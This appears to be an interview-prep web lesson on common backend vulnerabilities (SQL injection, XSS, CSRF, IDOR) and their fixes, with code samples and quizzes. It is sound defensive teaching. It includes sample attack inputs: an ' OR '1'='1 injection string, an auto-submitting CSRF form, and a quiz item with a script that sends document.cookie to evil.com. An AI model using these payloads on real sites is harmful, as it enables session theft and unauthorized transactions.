1. What It Is

Web vulnerabilities are classes of security bugs that allow attackers to compromise the confidentiality, integrity, or availability of a web application. As a backend engineer, you don't need to be a penetration tester, but you must know the common attack patterns so you don't accidentally introduce them.

The OWASP Top 10 (2021/2025) is the industry reference. This document covers the most interview-relevant and practically important ones: , , , IDOR, and a few others that regularly appear in backend work.


Quick check

Which of the following best describes why backend engineers need to understand common web vulnerability patterns like SQL Injection, XSS, and CSRF?

Choose one answer

2. How It Works in Practice

SQL Injection (SQLi)

An attacker injects SQL syntax into user input to manipulate database queries.

# Vulnerable — string interpolation into a query
query = f"SELECT * FROM users WHERE email = '{user_input}'"
# Attacker input: ' OR '1'='1
# Resulting query: SELECT * FROM users WHERE email = '' OR '1'='1'
# → returns all users

# Safe — parameterized query
query = "SELECT * FROM users WHERE email = %s"
cursor.execute(query, (user_input,))

Fix: always use parameterized queries or ORM query builders that bind parameters separately. Never concatenate user input into SQL strings.


Cross-Site Scripting (XSS)

An attacker injects JavaScript into a page that runs in other users' browsers. The script can steal cookies, redirect to phishing pages, or exfiltrate data.

Three types:

  • Stored : malicious script saved in the database (e.g., a comment field), rendered to all users.
  • Reflected : payload in a URL parameter, rendered in the server response.
  • DOM XSS: payload processed and inserted into the DOM entirely in the browser — the server never renders it into its HTML response.

Fixes:

  1. Escape all user-controlled output in HTML context (use template engines that auto-escape: React, Django templates, Jinja2 with autoescaping).
  2. Set Content-Security-Policy header to restrict script sources.
  3. Use HttpOnly on cookies so stolen cookies can't be read by JavaScript even if XSS succeeds.

Cross-Site Request Forgery (CSRF)

A malicious site tricks an authenticated user's browser into making a request to your server using their existing (browsers attach cookies automatically).

<!-- On attacker's site -->
<form action="https://bank.com/transfer" method="POST">
  <input name="to" value="attacker_account">
  <input name="amount" value="10000">
</form>
<script>document.forms[0].submit()</script>

If the user is logged into bank.com, this form submits with their real cookies.

Fixes:

  1. SameSite=Strict/Lax on cookies — browser won't send cookies on cross-site requests, except that Lax still sends them on top-level GET navigations (defense in depth).
  2. tokens — server issues a random token per ; client must include it in every state-changing request; server validates it.
  3. Check Origin/Referer headers as a defense-in-depth measure.

Insecure Direct Object Reference (IDOR)

A user accesses resources belonging to another user by guessing or modifying an ID.

GET /api/invoices/1042    → returns your invoice
GET /api/invoices/1041    → returns someone else's invoice (bug!)

The server returns invoice 1041 without checking if the authenticated user owns it.

Fix: always check authorization at the object level — verify the requesting user has permission to access the specific record, not just that they are authenticated.

invoice = db.get_invoice(invoice_id)
if invoice.owner_id != current_user.id:
    raise PermissionDenied

Security Misconfiguration

Leaving debug endpoints exposed, running with default credentials, exposing stack traces to users, or having overly permissive headers.

Common examples:

  • Access-Control-Allow-Origin: * on an API that uses auth. Browsers won't let a page read a credentialed response with * origin, but it's still a signal of sloppy thinking
  • Error responses that include SQL errors, stack traces, or internal paths
  • Admin interfaces accessible without IP allowlisting

Sensitive Data Exposure

Storing or transmitting sensitive data without adequate protection:

  • Passwords stored as plain text or with weak hashing (MD5, SHA-1) — use bcrypt, scrypt, or Argon2.
  • API keys or secrets in version control or log files.
  • Returning more data than needed in API responses (e.g., including password_hash in a user JSON response).

CSRF reuses an authenticated session

A malicious page submits a transfer request through the authenticated browser, using its existing bank session cookie.

While you are logged in to the bank, the malicious page supplies an auto-submit form.

Text version
  1. While you are logged in to the bank, the malicious page supplies an auto-submit form.
  2. Without CSRF defenses, your browser sends the transfer request with your bank session cookie.
  3. A cookie cannot prove intent, so the fix is a CSRF token, with a SameSite cookie as an extra layer.
Quick check

A web application has a comment feature where users can post text that is stored in a database and displayed to all visitors. An attacker posts the following as a comment: <script>document.location='https://evil.com/steal?c='+document.cookie</script>. Every user who visits the page afterwards has their session cookie sent to the attacker's server. Which type of XSS attack is this, and why?

Choose one answer

3. Common Real-World Usage (Defense Patterns)

Input validation and parameterization: validate on the server side. Never trust client input.

Output encoding: encode before rendering. Use framework auto-escaping.

Principle of least privilege: DB users should only have SELECT/INSERT/UPDATE on needed tables. API endpoints should check permissions at the row level.

Security headers:

Content-Security-Policy: default-src 'self'
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
Strict-Transport-Security: max-age=31536000; includeSubDomains

Dependency scanning: use tools like Snyk, Dependabot, or npm audit / pip-audit to catch vulnerable library versions.


One quote turns user input into SQL

Pasting the input ' OR '1'='1 into the SQL text makes the WHERE clause always true, so the query returns all users.

This code pastes the attacker's input straight into the SQL text, between two quotes.

Text version
  1. This code pastes the attacker's input straight into the SQL text, between two quotes.
  2. The input starts with a quote, so it ends the email string early.
  3. The rest of the input now runs as SQL: email is empty, or one equals one.
  4. One equals one is true for every row, so the query returns all users.
  5. A parameterized query avoids this pitfall, because it sends the input only as a value.
Quick check

A database user account used by a web application's API needs to display user profiles and allow users to update their own settings. Following the principle of least privilege, which set of database permissions is most appropriate for this account?

Choose one answer

4. Trade-offs and Common Mistakes

Not validating on the server side: "the frontend validates input so the backend doesn't need to" — this is wrong. Attackers bypass the frontend.

Trusting headers from clients: X-User-ID, X-Admin: true headers set by the client should never be trusted for authorization decisions.

Using UUIDs as a security measure against IDOR: UUIDs make IDs harder to guess, but are not a substitute for authorization checks. An attacker who gets someone else's UUID (from a URL in a shared link, for example) can still access the resource.

Over-permissive : Access-Control-Allow-Origin: * with Access-Control-Allow-Credentials: true is a browser-rejected misconfiguration, but reflecting back any Origin header without validation is equally dangerous.

Logging sensitive data: logging request bodies or headers that contain passwords, tokens, or PII creates a secondary breach vector.


Quick check

A web application assigns UUIDs as resource identifiers instead of sequential integers, and a developer argues that no additional authorization checks are needed because UUIDs are practically impossible to guess. A user then shares a link containing their resource's UUID in a group chat. Which of the following best describes the security outcome?

Choose one answer

5. Interview Angle

How to explain it

"The most common classes of backend vulnerabilities are SQLi (unsanitized input in queries), (unsanitized output in HTML), (cross-site state-change requests using cookies), and IDOR (missing row-level authorization). Defense is mostly about: parameterize queries, encode output, use SameSite cookies + tokens for CSRF, and always check permissions at the object level."

Common interview questions

Q: How do you prevent ? A: Use parameterized queries or an ORM. Never concatenate user input into SQL strings.

Q: What is the difference between and CSRF? A: XSS is code injection — the attacker's script runs in the victim's browser, stealing data from your site. CSRF is a request forgery — the attacker tricks the victim's browser into making a legitimate-looking request to your site using their credentials. XSS is about what the attacker reads; CSRF is about what the attacker causes the server to do.

Q: How do you prevent CSRF? A: Use CSRF tokens on state-changing requests, and set SameSite=Lax or Strict on cookies as defense in depth. Never change state with GET, because Lax still sends cookies on top-level GET navigations.

Q: What is IDOR and how do you fix it? A: Insecure Direct Object Reference — when a user can access another user's resource by changing an ID parameter. Fix: check that the authenticated user owns or has permission to access the specific object on every request, not just that they're logged in.

Q: Where should passwords be stored? A: Hashed using a slow, salted algorithm: bcrypt (work factor 12+), scrypt, or Argon2id. Never MD5, SHA-1, or unsalted SHA-256.


Quick check

A user discovers they can view another user's private order details by changing the order ID in the URL from /orders/1001 to /orders/1002, even though both users are authenticated. Which defense directly addresses this vulnerability?

Choose one answer

6. Practical Examples

Parameterized query (Node.js + pg)

// Vulnerable
const result = await db.query(`SELECT * FROM users WHERE id = ${req.params.id}`);

// Safe
const result = await db.query('SELECT * FROM users WHERE id = $1', [req.params.id]);

IDOR check (Python/Django)

@login_required
def get_invoice(request, invoice_id):
    invoice = get_object_or_404(Invoice, pk=invoice_id)
    if invoice.user != request.user:
        return HttpResponse(status=403)  # or raise PermissionDenied
    return JsonResponse(invoice.to_dict())

CSRF token in Express

// The 'csurf' package was deprecated in 2022 and is no longer maintained.
// SameSite=Lax/Strict cookies (covered above) are a defense-in-depth layer.
// Pair them with explicit CSRF tokens, for example with 'csrf-csrf':

const { doubleCsrf } = require('csrf-csrf');

const { generateToken, doubleCsrfProtection } = doubleCsrf({
  getSecret: () => process.env.CSRF_SECRET,
  cookieName: '__Host-csrf-token',
});

app.get('/form', (req, res) => {
  res.render('form', { csrfToken: generateToken(req, res) });
});

app.post('/submit', doubleCsrfProtection, (req, res) => {
  // Middleware throws if CSRF token doesn't match
  handleSubmit(req, res);
});

bcrypt password hashing (Node.js)

const bcrypt = require('bcrypt');

// On registration
const hash = await bcrypt.hash(plainPassword, 12); // cost factor 12
await db.saveUser({ email, passwordHash: hash });

// On login
const match = await bcrypt.compare(plainPassword, storedHash);
if (!match) return res.status(401).json({ error: 'Invalid credentials' });

Security headers (Express + helmet)

const helmet = require('helmet');
app.use(helmet()); // Sets CSP, X-Frame-Options, HSTS, X-Content-Type-Options, etc.

Trace the invoice ownership check

The same authenticated user is denied access to invoice 1041 and receives invoice 1042 after the ownership check passes.

The logged-in user requests invoice ten forty-one, which belongs to someone else.

Text version
  1. The logged-in user requests invoice ten forty-one, which belongs to someone else.
  2. The function compares the invoice owner with the authenticated user before returning data.
  3. The users differ, so the function returns forbidden and skips the invoice response.
  4. A separate request loads invoice ten forty-two, which belongs to the logged-in user.
  5. The users match, so the function skips the forbidden response.
  6. The function returns the invoice as JSON only after the ownership check passes.
Quick check

A developer writes the following Node.js database query: db.query('SELECT * FROM users WHERE id = ' + req.params.id). What is the correct fix, and why does it work?

Choose one answer

Reading

On this page

My notes

Sign in to keep highlights and notes.

Glossary history

Click dotted jargon to save explanations here.